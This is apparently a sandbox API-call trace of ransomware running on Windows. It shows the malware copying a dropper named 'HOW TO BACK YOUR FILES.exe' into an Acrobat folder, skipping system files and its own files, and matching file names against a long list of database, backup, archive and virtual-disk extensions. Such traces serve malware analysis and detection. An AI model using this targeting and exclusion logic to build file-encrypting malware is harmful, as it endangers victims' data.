	[0086.050] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300c8cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0
	[0086.050] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0086.050] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b79f0
	[0086.050] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security"
	[0086.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0086.050] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b79e8 | out: hHeap=0x580000) returned 1
	[0086.050] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security") returned 56
	[0086.050] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security" | out: lpString1="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security"
	[0086.050] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0086.050] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0086.051] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
	[0086.051] GetLastError () returned 0x0
	[0086.051] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0086.051] ReadFile (in: hFile=0x10c, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0086.051] CloseHandle (hObject=0x10c) returned 1
	[0086.051] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0086.051] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0086.051] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300c8cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0086.051] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.051] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0086.051] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0086.051] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300c8cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0086.051] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.051] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0086.051] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0086.052] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0086.052] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="directories.acrodata", cAlternateFileName="DIRECT~1.ACR")) returned 1
	[0086.052] lstrcmpiW (lpString1="directories.acrodata", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.052] lstrcmpiW (lpString1="directories.acrodata", lpString2="Apollon865.txt.exe") returned 1
	[0086.052] lstrcmpiW (lpString1="directories.acrodata", lpString2=".") returned 1
	[0086.052] lstrcmpiW (lpString1="directories.acrodata", lpString2="..") returned 1
	[0086.052] lstrcmpiW (lpString1="directories.acrodata", lpString2="windows") returned -1
	[0086.052] lstrcmpiW (lpString1="directories.acrodata", lpString2="bootmgr") returned 1
	[0086.052] lstrcmpiW (lpString1="directories.acrodata", lpString2="temp") returned -1
	[0086.052] lstrcmpiW (lpString1="directories.acrodata", lpString2="pagefile.sys") returned -1
	[0086.052] lstrcmpiW (lpString1="directories.acrodata", lpString2="boot") returned 1
	[0086.052] lstrcmpiW (lpString1="directories.acrodata", lpString2="ids.txt") returned -1
	[0086.052] lstrcmpiW (lpString1="directories.acrodata", lpString2="ntuser.dat") returned -1
	[0086.052] lstrcmpiW (lpString1="directories.acrodata", lpString2="perflogs") returned -1
	[0086.052] lstrcmpiW (lpString1="directories.acrodata", lpString2="MSBuild") returned -1
	[0086.052] lstrlenW (lpString="directories.acrodata") returned 20
	[0086.052] lstrlenW (lpString="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*") returned 58
	[0086.052] lstrcpyW (in: lpString1=0x119e67a, lpString2="directories.acrodata" | out: lpString1="directories.acrodata") returned="directories.acrodata"
	[0086.052] lstrlenW (lpString="directories.acrodata") returned 20
	[0086.052] lstrlenW (lpString="Apollon865") returned 10
	[0086.052] lstrcmpiW (lpString1="s.acrodata", lpString2="Apollon865") returned 1
	[0086.052] lstrlenW (lpString=".dll") returned 4
	[0086.052] lstrcmpiW (lpString1="directories.acrodata", lpString2=".dll") returned 1
	[0086.052] lstrlenW (lpString=".lnk") returned 4
	[0086.052] lstrcmpiW (lpString1="directories.acrodata", lpString2=".lnk") returned 1
	[0086.052] lstrlenW (lpString=".ini") returned 4
	[0086.052] lstrcmpiW (lpString1="directories.acrodata", lpString2=".ini") returned 1
	[0086.052] lstrlenW (lpString=".sys") returned 4
	[0086.052] lstrcmpiW (lpString1="directories.acrodata", lpString2=".sys") returned 1
	[0086.052] lstrlenW (lpString="directories.acrodata") returned 20
	[0086.052] lstrlenW (lpString="bak") returned 3
	[0086.052] lstrcmpiW (lpString1="ata", lpString2="bak") returned -1
	[0086.052] lstrlenW (lpString="ba_") returned 3
	[0086.052] lstrcmpiW (lpString1="ata", lpString2="ba_") returned -1
	[0086.052] lstrlenW (lpString="dbb") returned 3
	[0086.052] lstrcmpiW (lpString1="ata", lpString2="dbb") returned -1
	[0086.052] lstrlenW (lpString="vmdk") returned 4
	[0086.053] lstrcmpiW (lpString1="data", lpString2="vmdk") returned -1
	[0086.053] lstrlenW (lpString="rar") returned 3
	[0086.053] lstrcmpiW (lpString1="ata", lpString2="rar") returned -1
	[0086.053] lstrlenW (lpString="zip") returned 3
	[0086.053] lstrcmpiW (lpString1="ata", lpString2="zip") returned -1
	[0086.053] lstrlenW (lpString="tgz") returned 3
	[0086.053] lstrcmpiW (lpString1="ata", lpString2="tgz") returned -1
	[0086.053] lstrlenW (lpString="vbox") returned 4
	[0086.053] lstrcmpiW (lpString1="data", lpString2="vbox") returned -1
	[0086.053] lstrlenW (lpString="vdi") returned 3
	[0086.053] lstrcmpiW (lpString1="ata", lpString2="vdi") returned -1
	[0086.053] lstrlenW (lpString="vhd") returned 3
	[0086.053] lstrcmpiW (lpString1="ata", lpString2="vhd") returned -1
	[0086.053] lstrlenW (lpString="vhdx") returned 4
	[0086.053] lstrcmpiW (lpString1="data", lpString2="vhdx") returned -1
	[0086.053] lstrlenW (lpString="avhd") returned 4
	[0086.053] lstrcmpiW (lpString1="data", lpString2="avhd") returned 1
	[0086.053] lstrlenW (lpString="db") returned 2
	[0086.053] lstrcmpiW (lpString1="ta", lpString2="db") returned 1
	[0086.053] lstrlenW (lpString="db2") returned 3
	[0086.053] lstrcmpiW (lpString1="ata", lpString2="db2") returned -1
	[0086.053] lstrlenW (lpString="db3") returned 3
	[0086.053] lstrcmpiW (lpString1="ata", lpString2="db3") returned -1
	[0086.053] lstrlenW (lpString="dbf") returned 3
	[0086.053] lstrcmpiW (lpString1="ata", lpString2="dbf") returned -1
	[0086.053] lstrlenW (lpString="mdf") returned 3
	[0086.053] lstrcmpiW (lpString1="ata", lpString2="mdf") returned -1
	[0086.053] lstrlenW (lpString="mdb") returned 3
	[0086.053] lstrcmpiW (lpString1="ata", lpString2="mdb") returned -1
	[0086.053] lstrlenW (lpString="sql") returned 3
	[0086.053] lstrcmpiW (lpString1="ata", lpString2="sql") returned -1
	[0086.053] lstrlenW (lpString="sqlite") returned 6
	[0086.053] lstrcmpiW (lpString1="rodata", lpString2="sqlite") returned -1
	[0086.053] lstrlenW (lpString="sqlite3") returned 7
	[0086.053] lstrcmpiW (lpString1="crodata", lpString2="sqlite3") returned -1
	[0086.053] lstrlenW (lpString="sqlitedb") returned 8
	[0086.053] lstrcmpiW (lpString1="acrodata", lpString2="sqlitedb") returned -1
	[0086.053] lstrlenW (lpString="xml") returned 3
	[0086.054] lstrcmpiW (lpString1="ata", lpString2="xml") returned -1
	[0086.054] lstrlenW (lpString="$er") returned 3
	[0086.054] lstrcmpiW (lpString1="ata", lpString2="$er") returned 1
	[0086.054] lstrlenW (lpString="4dd") returned 3
	[0086.054] lstrcmpiW (lpString1="ata", lpString2="4dd") returned 1
	[0086.054] lstrlenW (lpString="4dl") returned 3
	[0086.054] lstrcmpiW (lpString1="ata", lpString2="4dl") returned 1
	[0086.054] lstrlenW (lpString="^^^") returned 3
	[0086.054] lstrcmpiW (lpString1="ata", lpString2="^^^") returned 1
	[0086.054] lstrlenW (lpString="abs") returned 3
	[0086.054] lstrcmpiW (lpString1="ata", lpString2="abs") returned 1
	[0086.054] lstrlenW (lpString="abx") returned 3
	[0086.054] lstrcmpiW (lpString1="ata", lpString2="abx") returned 1
	[0086.054] lstrlenW (lpString="accdb") returned 5
	[0086.054] lstrcmpiW (lpString1="odata", lpString2="accdb") returned 1
	[0086.054] lstrlenW (lpString="accdc") returned 5
	[0086.054] lstrcmpiW (lpString1="odata", lpString2="accdc") returned 1
	[0086.054] lstrlenW (lpString="accde") returned 5
	[0086.054] lstrcmpiW (lpString1="odata", lpString2="accde") returned 1
	[0086.054] lstrlenW (lpString="accdr") returned 5
	[0086.054] lstrcmpiW (lpString1="odata", lpString2="accdr") returned 1
	[0086.054] lstrlenW (lpString="accdt") returned 5
	[0086.054] lstrcmpiW (lpString1="odata", lpString2="accdt") returned 1
	[0086.054] lstrlenW (lpString="accdw") returned 5
	[0086.054] lstrcmpiW (lpString1="odata", lpString2="accdw") returned 1
	[0086.054] lstrlenW (lpString="accft") returned 5
	[0086.054] lstrcmpiW (lpString1="odata", lpString2="accft") returned 1
	[0086.054] lstrlenW (lpString="adb") returned 3
	[0086.054] lstrcmpiW (lpString1="ata", lpString2="adb") returned 1
	[0086.054] lstrlenW (lpString="adb") returned 3
	[0086.054] lstrcmpiW (lpString1="ata", lpString2="adb") returned 1
	[0086.054] lstrlenW (lpString="ade") returned 3
	[0086.054] lstrcmpiW (lpString1="ata", lpString2="ade") returned 1
	[0086.054] lstrlenW (lpString="adf") returned 3
	[0086.054] lstrcmpiW (lpString1="ata", lpString2="adf") returned 1
	[0086.054] lstrlenW (lpString="adn") returned 3
	[0086.054] lstrcmpiW (lpString1="ata", lpString2="adn") returned 1
	[0086.055] lstrlenW (lpString="adp") returned 3
	[0086.055] lstrcmpiW (lpString1="ata", lpString2="adp") returned 1
	[0086.055] lstrlenW (lpString="alf") returned 3
	[0086.055] lstrcmpiW (lpString1="ata", lpString2="alf") returned 1
	[0086.055] lstrlenW (lpString="ask") returned 3
	[0086.055] lstrcmpiW (lpString1="ata", lpString2="ask") returned 1
	[0086.055] lstrlenW (lpString="btr") returned 3
	[0086.055] lstrcmpiW (lpString1="ata", lpString2="btr") returned -1
	[0086.055] lstrlenW (lpString="cat") returned 3
	[0086.055] lstrcmpiW (lpString1="ata", lpString2="cat") returned -1
	[0086.055] lstrlenW (lpString="cdb") returned 3
	[0086.055] lstrcmpiW (lpString1="ata", lpString2="cdb") returned -1
	[0086.055] lstrlenW (lpString="ckp") returned 3
	[0086.055] lstrcmpiW (lpString1="ata", lpString2="ckp") returned -1
	[0086.055] lstrlenW (lpString="cma") returned 3
	[0086.055] lstrcmpiW (lpString1="ata", lpString2="cma") returned -1
	[0086.055] lstrlenW (lpString="cpd") returned 3
	[0086.055] lstrcmpiW (lpString1="ata", lpString2="cpd") returned -1
	[0086.055] lstrlenW (lpString="dacpac") returned 6
	[0086.055] lstrcmpiW (lpString1="rodata", lpString2="dacpac") returned 1
	[0086.055] lstrlenW (lpString="dad") returned 3
	[0086.055] lstrcmpiW (lpString1="ata", lpString2="dad") returned -1
	[0086.055] lstrlenW (lpString="dadiagrams") returned 10
	[0086.055] lstrcmpiW (lpString1="s.acrodata", lpString2="dadiagrams") returned 1
	[0086.055] lstrlenW (lpString="daschema") returned 8
	[0086.055] lstrcmpiW (lpString1="acrodata", lpString2="daschema") returned -1
	[0086.055] lstrlenW (lpString="db-journal") returned 10
	[0086.055] lstrcmpiW (lpString1="s.acrodata", lpString2="db-journal") returned 1
	[0086.055] lstrlenW (lpString="db-shm") returned 6
	[0086.055] lstrcmpiW (lpString1="rodata", lpString2="db-shm") returned 1
	[0086.055] lstrlenW (lpString="db-wal") returned 6
	[0086.055] lstrcmpiW (lpString1="rodata", lpString2="db-wal") returned 1
	[0086.055] lstrlenW (lpString="dbc") returned 3
	[0086.055] lstrcmpiW (lpString1="ata", lpString2="dbc") returned -1
	[0086.055] lstrlenW (lpString="dbs") returned 3
	[0086.055] lstrcmpiW (lpString1="ata", lpString2="dbs") returned -1
	[0086.055] lstrlenW (lpString="dbt") returned 3
	[0086.056] lstrcmpiW (lpString1="ata", lpString2="dbt") returned -1
	[0086.056] lstrlenW (lpString="dbv") returned 3
	[0086.056] lstrcmpiW (lpString1="ata", lpString2="dbv") returned -1
	[0086.056] lstrlenW (lpString="dbx") returned 3
	[0086.056] lstrcmpiW (lpString1="ata", lpString2="dbx") returned -1
	[0086.056] lstrlenW (lpString="dcb") returned 3
	[0086.056] lstrcmpiW (lpString1="ata", lpString2="dcb") returned -1
	[0086.056] lstrlenW (lpString="dct") returned 3
	[0086.056] lstrcmpiW (lpString1="ata", lpString2="dct") returned -1
	[0086.056] lstrlenW (lpString="dcx") returned 3
	[0086.056] lstrcmpiW (lpString1="ata", lpString2="dcx") returned -1
	[0086.056] lstrlenW (lpString="ddl") returned 3
	[0086.056] lstrcmpiW (lpString1="ata", lpString2="ddl") returned -1
	[0086.056] lstrlenW (lpString="dlis") returned 4
	[0086.056] lstrcmpiW (lpString1="data", lpString2="dlis") returned -1
	[0086.056] lstrlenW (lpString="dp1") returned 3
	[0086.056] lstrcmpiW (lpString1="ata", lpString2="dp1") returned -1
	[0086.056] lstrlenW (lpString="dqy") returned 3
	[0086.056] lstrcmpiW (lpString1="ata", lpString2="dqy") returned -1
	[0086.056] lstrlenW (lpString="dsk") returned 3
	[0086.056] lstrcmpiW (lpString1="ata", lpString2="dsk") returned -1
	[0086.056] lstrlenW (lpString="dsn") returned 3
	[0086.056] lstrcmpiW (lpString1="ata", lpString2="dsn") returned -1
	[0086.056] lstrlenW (lpString="dtsx") returned 4
	[0086.056] lstrcmpiW (lpString1="data", lpString2="dtsx") returned -1
	[0086.056] lstrlenW (lpString="dxl") returned 3
	[0086.056] lstrcmpiW (lpString1="ata", lpString2="dxl") returned -1
	[0086.056] lstrlenW (lpString="eco") returned 3
	[0086.056] lstrcmpiW (lpString1="ata", lpString2="eco") returned -1
	[0086.056] lstrlenW (lpString="ecx") returned 3
	[0086.056] lstrcmpiW (lpString1="ata", lpString2="ecx") returned -1
	[0086.056] lstrlenW (lpString="edb") returned 3
	[0086.056] lstrcmpiW (lpString1="ata", lpString2="edb") returned -1
	[0086.056] lstrlenW (lpString="epim") returned 4
	[0086.056] lstrcmpiW (lpString1="data", lpString2="epim") returned -1
	[0086.056] lstrlenW (lpString="fcd") returned 3
	[0086.056] lstrcmpiW (lpString1="ata", lpString2="fcd") returned -1
	[0086.056] lstrlenW (lpString="fdb") returned 3
	[0086.057] lstrcmpiW (lpString1="ata", lpString2="fdb") returned -1
	[0086.057] lstrlenW (lpString="fic") returned 3
	[0086.057] lstrcmpiW (lpString1="ata", lpString2="fic") returned -1
	[0086.057] lstrlenW (lpString="flexolibrary") returned 12
	[0086.057] lstrcmpiW (lpString1="ies.acrodata", lpString2="flexolibrary") returned 1
	[0086.057] lstrlenW (lpString="fm5") returned 3
	[0086.057] lstrcmpiW (lpString1="ata", lpString2="fm5") returned -1
	[0086.057] lstrlenW (lpString="fmp") returned 3
	[0086.057] lstrcmpiW (lpString1="ata", lpString2="fmp") returned -1
	[0086.057] lstrlenW (lpString="fmp12") returned 5
	[0086.057] lstrcmpiW (lpString1="odata", lpString2="fmp12") returned 1
	[0086.057] lstrlenW (lpString="fmpsl") returned 5
	[0086.057] lstrcmpiW (lpString1="odata", lpString2="fmpsl") returned 1
	[0086.057] lstrlenW (lpString="fol") returned 3
	[0086.057] lstrcmpiW (lpString1="ata", lpString2="fol") returned -1
	[0086.057] lstrlenW (lpString="fp3") returned 3
	[0086.057] lstrcmpiW (lpString1="ata", lpString2="fp3") returned -1
	[0086.057] lstrlenW (lpString="fp4") returned 3
	[0086.057] lstrcmpiW (lpString1="ata", lpString2="fp4") returned -1
	[0086.057] lstrlenW (lpString="fp5") returned 3
	[0086.057] lstrcmpiW (lpString1="ata", lpString2="fp5") returned -1
	[0086.057] lstrlenW (lpString="fp7") returned 3
	[0086.057] lstrcmpiW (lpString1="ata", lpString2="fp7") returned -1
	[0086.057] lstrlenW (lpString="fpt") returned 3
	[0086.057] lstrcmpiW (lpString1="ata", lpString2="fpt") returned -1
	[0086.057] lstrlenW (lpString="frm") returned 3
	[0086.057] lstrcmpiW (lpString1="ata", lpString2="frm") returned -1
	[0086.057] lstrlenW (lpString="gdb") returned 3
	[0086.057] lstrcmpiW (lpString1="ata", lpString2="gdb") returned -1
	[0086.057] lstrlenW (lpString="gdb") returned 3
	[0086.057] lstrcmpiW (lpString1="ata", lpString2="gdb") returned -1
	[0086.057] lstrlenW (lpString="grdb") returned 4
	[0086.057] lstrcmpiW (lpString1="data", lpString2="grdb") returned -1
	[0086.057] lstrlenW (lpString="gwi") returned 3
	[0086.057] lstrcmpiW (lpString1="ata", lpString2="gwi") returned -1
	[0086.057] lstrlenW (lpString="hdb") returned 3
	[0086.057] lstrcmpiW (lpString1="ata", lpString2="hdb") returned -1
	[0086.058] lstrlenW (lpString="his") returned 3
	[0086.058] lstrcmpiW (lpString1="ata", lpString2="his") returned -1
	[0086.058] lstrlenW (lpString="ib") returned 2
	[0086.058] lstrcmpiW (lpString1="ta", lpString2="ib") returned 1
	[0086.058] lstrlenW (lpString="idb") returned 3
	[0086.058] lstrcmpiW (lpString1="ata", lpString2="idb") returned -1
	[0086.058] lstrlenW (lpString="ihx") returned 3
	[0086.058] lstrcmpiW (lpString1="ata", lpString2="ihx") returned -1
	[0086.058] lstrlenW (lpString="itdb") returned 4
	[0086.058] lstrcmpiW (lpString1="data", lpString2="itdb") returned -1
	[0086.058] lstrlenW (lpString="itw") returned 3
	[0086.058] lstrcmpiW (lpString1="ata", lpString2="itw") returned -1
	[0086.058] lstrlenW (lpString="jet") returned 3
	[0086.058] lstrcmpiW (lpString1="ata", lpString2="jet") returned -1
	[0086.058] lstrlenW (lpString="jtx") returned 3
	[0086.058] lstrcmpiW (lpString1="ata", lpString2="jtx") returned -1
	[0086.058] lstrlenW (lpString="kdb") returned 3
	[0086.058] lstrcmpiW (lpString1="ata", lpString2="kdb") returned -1
	[0086.058] lstrlenW (lpString="kexi") returned 4
	[0086.058] lstrcmpiW (lpString1="data", lpString2="kexi") returned -1
	[0086.058] lstrlenW (lpString="kexic") returned 5
	[0086.058] lstrcmpiW (lpString1="odata", lpString2="kexic") returned 1
	[0086.058] lstrlenW (lpString="kexis") returned 5
	[0086.058] lstrcmpiW (lpString1="odata", lpString2="kexis") returned 1
	[0086.058] lstrlenW (lpString="lgc") returned 3
	[0086.058] lstrcmpiW (lpString1="ata", lpString2="lgc") returned -1
	[0086.058] lstrlenW (lpString="lwx") returned 3
	[0086.058] lstrcmpiW (lpString1="ata", lpString2="lwx") returned -1
	[0086.058] lstrlenW (lpString="maf") returned 3
	[0086.058] lstrcmpiW (lpString1="ata", lpString2="maf") returned -1
	[0086.058] lstrlenW (lpString="maq") returned 3
	[0086.058] lstrcmpiW (lpString1="ata", lpString2="maq") returned -1
	[0086.058] lstrlenW (lpString="mar") returned 3
	[0086.058] lstrcmpiW (lpString1="ata", lpString2="mar") returned -1
	[0086.058] lstrlenW (lpString="marshal") returned 7
	[0086.058] lstrcmpiW (lpString1="crodata", lpString2="marshal") returned -1
	[0086.058] lstrlenW (lpString="mas") returned 3
	[0086.059] lstrcmpiW (lpString1="ata", lpString2="mas") returned -1
	[0086.059] lstrlenW (lpString="mav") returned 3
	[0086.059] lstrcmpiW (lpString1="ata", lpString2="mav") returned -1
	[0086.059] lstrlenW (lpString="maw") returned 3
	[0086.059] lstrcmpiW (lpString1="ata", lpString2="maw") returned -1
	[0086.059] lstrlenW (lpString="mdbhtml") returned 7
	[0086.059] lstrcmpiW (lpString1="crodata", lpString2="mdbhtml") returned -1
	[0086.059] lstrlenW (lpString="mdn") returned 3
	[0086.059] lstrcmpiW (lpString1="ata", lpString2="mdn") returned -1
	[0086.059] lstrlenW (lpString="mdt") returned 3
	[0086.059] lstrcmpiW (lpString1="ata", lpString2="mdt") returned -1
	[0086.059] lstrlenW (lpString="mfd") returned 3
	[0086.059] lstrcmpiW (lpString1="ata", lpString2="mfd") returned -1
	[0086.059] lstrlenW (lpString="mpd") returned 3
	[0086.059] lstrcmpiW (lpString1="ata", lpString2="mpd") returned -1
	[0086.059] lstrlenW (lpString="mrg") returned 3
	[0086.059] lstrcmpiW (lpString1="ata", lpString2="mrg") returned -1
	[0086.059] lstrlenW (lpString="mud") returned 3
	[0086.059] lstrcmpiW (lpString1="ata", lpString2="mud") returned -1
	[0086.059] lstrlenW (lpString="mwb") returned 3
	[0086.059] lstrcmpiW (lpString1="ata", lpString2="mwb") returned -1
	[0086.059] lstrlenW (lpString="myd") returned 3
	[0086.059] lstrcmpiW (lpString1="ata", lpString2="myd") returned -1
	[0086.059] lstrlenW (lpString="ndf") returned 3
	[0086.059] lstrcmpiW (lpString1="ata", lpString2="ndf") returned -1
	[0086.059] lstrlenW (lpString="nnt") returned 3
	[0086.059] lstrcmpiW (lpString1="ata", lpString2="nnt") returned -1
	[0086.059] lstrlenW (lpString="nrmlib") returned 6
	[0086.059] lstrcmpiW (lpString1="rodata", lpString2="nrmlib") returned 1
	[0086.059] lstrlenW (lpString="ns2") returned 3
	[0086.059] lstrcmpiW (lpString1="ata", lpString2="ns2") returned -1
	[0086.059] lstrlenW (lpString="ns3") returned 3
	[0086.059] lstrcmpiW (lpString1="ata", lpString2="ns3") returned -1
	[0086.059] lstrlenW (lpString="ns4") returned 3
	[0086.059] lstrcmpiW (lpString1="ata", lpString2="ns4") returned -1
	[0086.059] lstrlenW (lpString="nsf") returned 3
	[0086.059] lstrcmpiW (lpString1="ata", lpString2="nsf") returned -1
	[0086.060] lstrlenW (lpString="nv") returned 2
	[0086.060] lstrcmpiW (lpString1="ta", lpString2="nv") returned 1
	[0086.060] lstrlenW (lpString="nv2") returned 3
	[0086.060] lstrcmpiW (lpString1="ata", lpString2="nv2") returned -1
	[0086.060] lstrlenW (lpString="nwdb") returned 4
	[0086.060] lstrcmpiW (lpString1="data", lpString2="nwdb") returned -1
	[0086.060] lstrlenW (lpString="nyf") returned 3
	[0086.060] lstrcmpiW (lpString1="ata", lpString2="nyf") returned -1
	[0086.060] lstrlenW (lpString="odb") returned 3
	[0086.060] lstrcmpiW (lpString1="ata", lpString2="odb") returned -1
	[0086.060] lstrlenW (lpString="odb") returned 3
	[0086.060] lstrcmpiW (lpString1="ata", lpString2="odb") returned -1
	[0086.060] lstrlenW (lpString="oqy") returned 3
	[0086.060] lstrcmpiW (lpString1="ata", lpString2="oqy") returned -1
	[0086.060] lstrlenW (lpString="ora") returned 3
	[0086.060] lstrcmpiW (lpString1="ata", lpString2="ora") returned -1
	[0086.060] lstrlenW (lpString="orx") returned 3
	[0086.060] lstrcmpiW (lpString1="ata", lpString2="orx") returned -1
	[0086.060] lstrlenW (lpString="owc") returned 3
	[0086.060] lstrcmpiW (lpString1="ata", lpString2="owc") returned -1
	[0086.060] lstrlenW (lpString="p96") returned 3
	[0086.060] lstrcmpiW (lpString1="ata", lpString2="p96") returned -1
	[0086.060] lstrlenW (lpString="p97") returned 3
	[0086.060] lstrcmpiW (lpString1="ata", lpString2="p97") returned -1
	[0086.060] lstrlenW (lpString="pan") returned 3
	[0086.060] lstrcmpiW (lpString1="ata", lpString2="pan") returned -1
	[0086.060] lstrlenW (lpString="pdb") returned 3
	[0086.060] lstrcmpiW (lpString1="ata", lpString2="pdb") returned -1
	[0086.060] lstrlenW (lpString="pdm") returned 3
	[0086.060] lstrcmpiW (lpString1="ata", lpString2="pdm") returned -1
	[0086.060] lstrlenW (lpString="pnz") returned 3
	[0086.060] lstrcmpiW (lpString1="ata", lpString2="pnz") returned -1
	[0086.060] lstrlenW (lpString="qry") returned 3
	[0086.060] lstrcmpiW (lpString1="ata", lpString2="qry") returned -1
	[0086.060] lstrlenW (lpString="qvd") returned 3
	[0086.060] lstrcmpiW (lpString1="ata", lpString2="qvd") returned -1
	[0086.060] lstrlenW (lpString="rbf") returned 3
	[0086.060] lstrcmpiW (lpString1="ata", lpString2="rbf") returned -1
	[0086.061] lstrlenW (lpString="rctd") returned 4
	[0086.061] lstrcmpiW (lpString1="data", lpString2="rctd") returned -1
	[0086.061] lstrlenW (lpString="rod") returned 3
	[0086.061] lstrcmpiW (lpString1="ata", lpString2="rod") returned -1
	[0086.061] lstrlenW (lpString="rodx") returned 4
	[0086.061] lstrcmpiW (lpString1="data", lpString2="rodx") returned -1
	[0086.061] lstrlenW (lpString="rpd") returned 3
	[0086.061] lstrcmpiW (lpString1="ata", lpString2="rpd") returned -1
	[0086.061] lstrlenW (lpString="rsd") returned 3
	[0086.061] lstrcmpiW (lpString1="ata", lpString2="rsd") returned -1
	[0086.061] lstrlenW (lpString="sas7bdat") returned 8
	[0086.061] lstrcmpiW (lpString1="acrodata", lpString2="sas7bdat") returned -1
	[0086.061] lstrlenW (lpString="sbf") returned 3
	[0086.061] lstrcmpiW (lpString1="ata", lpString2="sbf") returned -1
	[0086.061] lstrlenW (lpString="scx") returned 3
	[0086.061] lstrcmpiW (lpString1="ata", lpString2="scx") returned -1
	[0086.061] lstrlenW (lpString="sdb") returned 3
	[0086.061] lstrcmpiW (lpString1="ata", lpString2="sdb") returned -1
	[0086.061] lstrlenW (lpString="sdc") returned 3
	[0086.061] lstrcmpiW (lpString1="ata", lpString2="sdc") returned -1
	[0086.061] lstrlenW (lpString="sdf") returned 3
	[0086.061] lstrcmpiW (lpString1="ata", lpString2="sdf") returned -1
	[0086.061] lstrlenW (lpString="sis") returned 3
	[0086.061] lstrcmpiW (lpString1="ata", lpString2="sis") returned -1
